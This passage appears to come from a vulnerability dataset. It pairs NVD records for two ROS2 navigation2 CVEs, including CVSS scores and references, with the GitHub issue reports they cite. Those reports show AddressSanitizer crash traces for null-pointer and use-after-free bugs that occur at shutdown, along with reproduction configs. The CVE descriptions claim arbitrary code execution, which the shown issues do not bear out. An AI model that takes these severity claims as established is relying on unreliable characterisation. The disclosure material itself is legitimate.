nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>(std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>*&, std::_Sp_alloc_shared_tag<std::allocator<void> >, nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41aa58) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #4 0x741421e18d03 in std::future<std::__invoke_result<std::decay<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>::type>::type> std::async<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>(std::launch, nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x418d03) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #5 0x741421e01e29 in nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x401e29) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #6 0x741421e22ac7 in void std::__invoke_impl<void, void (nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >), nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> > >(std::__invoke_memfun_deref, void (nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >), nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x422ac7) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #7 0x741421e09986 in rclcpp_action::Server<nav2_msgs::action::FollowPath>::call_goal_accepted_callback(std::shared_ptr<rcl_action_goal_handle_s>, std::array<unsigned char, 16ul>, std::shared_ptr<void>) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x409986) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #8 0x741422fe8246 in rclcpp_action::ServerBase::execute_goal_request_received(std::shared_ptr<void>&) (/opt/ros/humble/lib/librclcpp_action.so+0x13246) (BuildId: 4dfcc4cee7010878193255b3a622d5194654caa8) Thread T15 created by T0 here: #0 0x5a47bc68d87c in __interceptor_pthread_create (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/nav2_controller/controller_server+0x9387c) (BuildId: 3220191749087a73a7eee69dd741a727d5302202) #1 0x7414214dc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x741421dfb2a5 in nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::SimpleActionServer<std::shared_ptr<nav2_util::LifecycleNode> >(std::shared_ptr<nav2_util::LifecycleNode>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::function<void ()>, std::function<void ()>, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool, rcl_action_server_options_s const&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x3fb2a5) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #3 0x741421c94cc8 in std::__detail::_MakeUniq<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath> >::__single_object std::make_unique<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>, std::shared_ptr<nav2_util::LifecycleNode>, char const (&) [12], std::_Bind<void (nav2_controller::ControllerServer::* (nav2_controller::ControllerServer*))()>, std::nullptr_t, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool>(std::shared_ptr<nav2_util::LifecycleNode>&&, char const (&) [12], std::_Bind<void (nav2_controller::ControllerServer::* (nav2_controller::ControllerServer*))()>&&, std::nullptr_t&&, std::chrono::duration<long, std::ratio<1l, 1000l> >&&, bool&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x294cc8) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #4 0x741421c8a121 in nav2_controller::ControllerServer::on_configure(rclcpp_lifecycle::State const&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x28a121) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #5 0x741422de58ec (/opt/ros/humble/lib/librclcpp_lifecycle.so+0x288ec) (BuildId: 97f6428dc1ee45fd402b522b3b8e6b4fcfeabe76) ==605052==ABORTING ``` #### Additional information  ---- ##### It's a shutdown-issue First, based on my execution logs, I can confirm this is a shutdown issue. ##### the casue analysis Below is an analysis of the cause of this bug: The action_server_ binds the `computeControl()` function as a callback function: https://github.com/ros-navigation/navigation2/blob/635880d3d6ad1f23eb75d793409189c653797f58/nav2_controller/src/controller_server.cpp#L228-L234 Therefore, when the `action_server_` receives a task command, it will invoke the function path `computeControl()` -> `computeAndPublishVelocity()` -> `mppi::PathHandler::transformPath()` -> ....... NOTICE: from here, the `action_server_` access the internal memory of `nav2_mppi_controller` , during the `computeControl()` execution. So that, the bug seems to be caused because `action_server_` is still executing but `mppi` has been freed.

NullPtr bug during the `computeVelocityCommands()` during shutdown

https://api.github.com/repos/ros-navigation/navigation2/issues/4436/comments

5

2024-06-14T18:04:35Z

2024-06-24T17:40:36Z

https://github.com/ros-navigation/navigation2/issues/4436

2,353,847,380

4,436

6,453

CVE-2024-41648

2024-12-06T22:15:20.920

Insecure Permissions vulnerability in Open Robotics Robotic Operating System 2 ROS2 navigation2 v.humble allows an attacker to execute arbitrary code via a crafted script to the nav2_regulated_pure_pursuit_controller.

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 4.2, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4438" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-navigation/navigation2/pull/4463" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4438" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:humble:*:*:*:*:*:*", "matchCriteriaId": "0ADE698F-A518-4691-A7FA-2DEE8C079361", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:iron:*:*:*:*:*:*", "matchCriteriaId": "D710838C-3A7E-4BFA-BD6D-02C38627BB7E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "281" ]

281

https://github.com/ros-navigation/navigation2/issues/4438

[ "Exploit", "Issue Tracking" ]

github.com

[ "ros-navigation", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  ubuntu 22.04 - ROS2 Version: -  humble - Version or commit hash: -  the latest - DDS implementation: -  the defaulted #### Steps to reproduce issue  The bug occurs during normal use of nav2_regulated_pure_pursuit_controller. By changing the controller plugin while keeping the rest of the configuration the same as the official default, start navigation2. The YAML configuration for changing the controller plugin is: ```yaml controller_server: ros__parameters: FollowPath: allow_reversing: false angular_dist_threshold: 0.785 approach_velocity_scaling_dist: 0.6 curvature_lookahead_dist: 0.25 desired_linear_vel: 0.5 forward_sampling_distance: 0.5 lookahead_dist: 0.6 lookahead_time: 1.5 max_allowed_time_to_collision_up_to_carrot: 1.0 max_angular_accel: 3.2 max_lookahead_dist: 0.9 max_robot_pose_search_dist: 10.0 min_approach_linear_velocity: 0.05 min_lookahead_dist: 0.3 plugin: nav2_regulated_pure_pursuit_controller::RegulatedPurePursuitController primary_controller: nav2_regulated_pure_pursuit_controller::RegulatedPurePursuitController regulated_linear_scaling_min_radius: 0.9 regulated_linear_scaling_min_speed: 0.25 rotate_to_heading_angular_vel: 1.8 rotate_to_heading_min_angle: 0.785 simulate_ahead_time: 1.0 transform_tolerance: 0.1 use_collision_detection: true use_cost_regulated_linear_velocity_scaling: false use_fixed_curvature_lookahead: false use_regulated_linear_velocity_scaling: true use_rotate_to_heading: true use_velocity_scaled_lookahead_dist: false controller_frequency: 20.0 controller_plugins: - FollowPath failure_tolerance: 0.3 general_goal_checker: plugin: nav2_controller::SimpleGoalChecker stateful: true xy_goal_tolerance: 0.25 yaw_goal_tolerance: 0.25 goal_checker_plugins: - general_goal_checker min_theta_velocity_threshold: 0.001 min_x_velocity_threshold: 0.001 min_y_velocity_threshold: 0.5 progress_checker: movement_time_allowance: 10.0 plugin: nav2_controller::SimpleProgressChecker required_movement_radius: 0.5 progress_checker_plugin: progress_checker use_sim_time: true ``` #### Expected behavior no NullPtr bug occured. #### Actual behavior the Asan report of this NullPtr bug is as following: ``` ================================================================= ==233695==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000048 (pc 0x7921c234d274 bp 0x7921b61f7350 sp 0x7921b61f5180 T21) ==233695==The signal is caused by a READ memory access. ==233695==Hint: address points to the zero page. #0 0x7921c234d274 in nav2_regulated_pure_pursuit_controller::RegulatedPurePursuitController::computeVelocityCommands(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, geometry_msgs::msg::Twist_<std::allocator<void> > const&, nav2_core::GoalChecker*) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_regulated_pure_pursuit_controller/lib/libnav2_regulated_pure_pursuit_controller.so+0x2f274) (BuildId: 3f539e9aa39466e316d1635ef580e10b3da1c726) #1 0x7921c58a506b in nav2_controller::ControllerServer::computeAndPublishVelocity() (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x2a506b) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #2 0x7921c5896561 in nav2_controller::ControllerServer::computeControl() (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x296561) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #3 0x7921c5a1eec3 in nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::work() (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41eec3) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #4 0x7921c5a1e234 in std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>::operator()() const (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41e234) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #5 0x7921c5a1df47 in std::enable_if<is_invocable_r_v<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>&>, std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> >::type std::__invoke_r<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>&>(std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41df47) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #6 0x7921c5a1dd88 in std::_Function_handler<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> (), std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void> >::_M_invoke(std::_Any_data const&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41dd88) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #7 0x7921c6ef5b46 in std::__future_base::_State_baseV2::_M_do_set(std::function<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> ()>*, bool*) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_util/lib/libnav2_util_core.so+0x7fb46) (BuildId: 074014a12aa30b6de43159e7eb335b66f35e5343) #8 0x7921c4c99ee7 in __pthread_once_slow nptl/./nptl/pthread_once.c:116:7 #9 0x7921c5a1b951 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>::_M_run() (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41b951) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #10 0x7921c50dc252 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc252) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #11 0x7921c4c94ac2 in start_thread nptl/./nptl/pthread_create.c:442:8 #12 0x7921c4d2684f misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_regulated_pure_pursuit_controller/lib/libnav2_regulated_pure_pursuit_controller.so+0x2f274) (BuildId: 3f539e9aa39466e316d1635ef580e10b3da1c726) in nav2_regulated_pure_pursuit_controller::RegulatedPurePursuitController::computeVelocityCommands(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, geometry_msgs::msg::Twist_<std::allocator<void> > const&, nav2_core::GoalChecker*) Thread T21 created by T15 here: #0 0x6544de1b987c in __interceptor_pthread_create (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/nav2_controller/controller_server+0x9387c) (BuildId: 3220191749087a73a7eee69dd741a727d5302202) #1 0x7921c50dc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x7921c5a1b2b2 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>::_Async_state_impl<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>(nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41b2b2) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #3 0x7921c5a1aa58 in std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count<std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>, std::allocator<void>, nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>(std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>*&, std::_Sp_alloc_shared_tag<std::allocator<void> >, nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41aa58) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #4 0x7921c5a18d03 in std::future<std::__invoke_result<std::decay<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>::type>::type> std::async<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>(std::launch, nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x418d03) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #5 0x7921c5a01e29 in nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x401e29) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #6 0x7921c5a22ac7 in void std::__invoke_impl<void, void (nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >), nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> > >(std::__invoke_memfun_deref, void (nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >), nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x422ac7) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #7 0x7921c5a09986 in rclcpp_action::Server<nav2_msgs::action::FollowPath>::call_goal_accepted_callback(std::shared_ptr<rcl_action_goal_handle_s>, std::array<unsigned char, 16ul>, std::shared_ptr<void>) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x409986) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #8 0x7921c6bf9246 in rclcpp_action::ServerBase::execute_goal_request_received(std::shared_ptr<void>&) (/opt/ros/humble/lib/librclcpp_action.so+0x13246) (BuildId: 4dfcc4cee7010878193255b3a622d5194654caa8) Thread T15 created by T0 here: #0 0x6544de1b987c in __interceptor_pthread_create (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/nav2_controller/controller_server+0x9387c) (BuildId: 3220191749087a73a7eee69dd741a727d5302202) #1 0x7921c50dc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x7921c59fb2a5 in nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::SimpleActionServer<std::shared_ptr<nav2_util::LifecycleNode> >(std::shared_ptr<nav2_util::LifecycleNode>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::function<void ()>, std::function<void ()>, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool, rcl_action_server_options_s const&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x3fb2a5) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #3 0x7921c5894cc8 in std::__detail::_MakeUniq<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath> >::__single_object std::make_unique<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>, std::shared_ptr<nav2_util::LifecycleNode>, char const (&) [12], std::_Bind<void (nav2_controller::ControllerServer::* (nav2_controller::ControllerServer*))()>, std::nullptr_t, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool>(std::shared_ptr<nav2_util::LifecycleNode>&&, char const (&) [12], std::_Bind<void (nav2_controller::ControllerServer::* (nav2_controller::ControllerServer*))()>&&, std::nullptr_t&&, std::chrono::duration<long, std::ratio<1l, 1000l> >&&, bool&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x294cc8) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #4 0x7921c588a121 in nav2_controller::ControllerServer::on_configure(rclcpp_lifecycle::State const&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x28a121) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #5 0x7921c69f68ec (/opt/ros/humble/lib/librclcpp_lifecycle.so+0x288ec) (BuildId: 97f6428dc1ee45fd402b522b3b8e6b4fcfeabe76) ==233695==ABORTING ``` #### Additional information  ---- I think this issue could be regarded as an additonal ticket for #4436 , which behaves within different plugins of controller

NullPtr bug during the `computeVelocityCommands()` calculation of `nav2_regulated_pure_pursuit_controller`

https://api.github.com/repos/ros-navigation/navigation2/issues/4438/comments

1

2024-06-14T21:09:26Z

2024-06-18T08:54:37Z

https://github.com/ros-navigation/navigation2/issues/4438

2,354,120,170

4,438

6,454

CVE-2024-41649

2024-12-06T22:15:21.037

Insecure Permissions vulnerability in Open Robotics Robotic Operating System 2 ROS2 navigation2 v.humble allows an attacker to execute arbitrary code via a crafted script to the executor_thread_.

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/open-navigation/navigation2/issues/4323" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-navigation/navigation2/pull/4385" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/open-navigation/navigation2/issues/4323" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:humble:*:*:*:*:*:*", "matchCriteriaId": "0ADE698F-A518-4691-A7FA-2DEE8C079361", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:iron:*:*:*:*:*:*", "matchCriteriaId": "D710838C-3A7E-4BFA-BD6D-02C38627BB7E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "281" ]

281

https://github.com/open-navigation/navigation2/issues/4323

[ "Exploit", "Issue Tracking" ]

github.com

[ "open-navigation", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  Ubuntu22.04 - ROS2 Version: -  humble - Version or commit hash: -  the latest - DDS implementation: -  defaulted #### Steps to reproduce issue  Just launch the navigation2 normally, as following steps: ```sh #!/bin/bash export ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=0:detect_leaks=0:log_pah=asan source install/setup.bash export TURTLEBOT3_MODEL=waffle export GAZEBO_MODEL_PATH=$GAZEBO_MODEL_PATH:/opt/ros/humble/share/turtlebot3_gazebo/models ros2 launch nav2_bringup tb3_simulation_launch.py headless:=True use_rviz:=False use_composition:=False ``` And finally sent Ctrl+C to shutdown navigation2. An ASAN report file was discovered in my execution environment. #### Expected behavior no bug occured. #### Actual behavior The ASAN reporting a **use-after-free** bug to me, as following: ``` ================================================================= ==130823==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x729ae10db0a7 bp 0x729ad2e5b518 sp 0x729ad2e5b420 T19) ==130823==The signal is caused by a READ memory access. ==130823==Hint: address points to the zero page. #0 0x729ae10db0a7 in geometry_msgs::msg::PoseStamped_<std::allocator<void> >& 